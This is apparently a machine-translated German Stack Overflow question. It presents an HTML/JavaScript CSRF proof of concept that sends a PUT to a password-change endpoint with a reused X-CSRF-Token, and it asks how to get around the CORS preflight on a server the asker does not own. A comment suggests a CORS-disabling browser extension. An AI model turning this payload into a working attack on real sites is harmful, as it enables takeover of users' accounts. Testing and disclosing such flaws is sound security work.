Was ich zu erreichen versuche:PUT Anfrage verwandelt sich in OPTIONS ohne anfordern Follow-up aufgrund CORS
So versuche ich, einen POC von CSRF zu erstellen, aber der Server benötigt eine x-CSRF-Token ; was sollte machen es unmöglich machen. Allerdings habe ich einen (ziemlich einfachen) Weg gefunden, einen x-csrf-Token zu senden, der immer gültig ist. Also möchte ich ein POC erstellen, wie man ein Passwort ändert und das X-CSRF-Token mitschickt; AJAX sollte den Job erledigen.
-Code bisher:
<html>
<button type="button" onclick="loadDoc()">execute</button>
<script>
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("PUT", "http://www.example.com/changepassword", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); //is "application/x-www-form-urlencoded" right?
xhttp.setRequestHeader('X-CSRF-Token', "ThatOneValidToken");
xhttp.send("{\"password\":\"POC-CSRF-PASSWORD\"}");
}
</script>
</html>
PROBLEM:
jedoch wegen CORS diese PUT Anfrage verwandelt sich in eine OPTIONS-Anforderung und dann gibt es keine Folge PUT-Anfrage. Die Antwort auf diese Anfrage OPTIONEN ist nur ein einfaches
HTTP/1.1 404
nicht gefunden
FRAGE:
Da es ein externer Server, dass ich nicht besitzen (erklärt die POC) Ich kann Serveränderungen nicht durchführen. Kann ich die Anfrage irgendwie ändern, damit ich den POC noch ausführen kann? Mit anderen Worten, so weit meine Vorstellungskraft reicht, kann ich diese OPTIONS-Anfrage umgehen oder die Anfrage modifizieren, um sicherzustellen, dass diese OPTIONS-Preflight-Anfrage eine Folge-PUT-Anfrage bekommt?
Vielen Dank im Voraus, finden Ihnen einen freundlichen Kaffee kaufen, wenn Sie die Lösung bekommen (wenn das auf Stackoverflow legal ist).
Für POC-Zwecke können Sie eine Browser-Erweiterung wie https://chrome.google.com/webstore/detail/allow-control-allow-origi/nlfbmbojpeacfghkpbjhddihlkkiljbi verwenden, um CORS zu passieren. –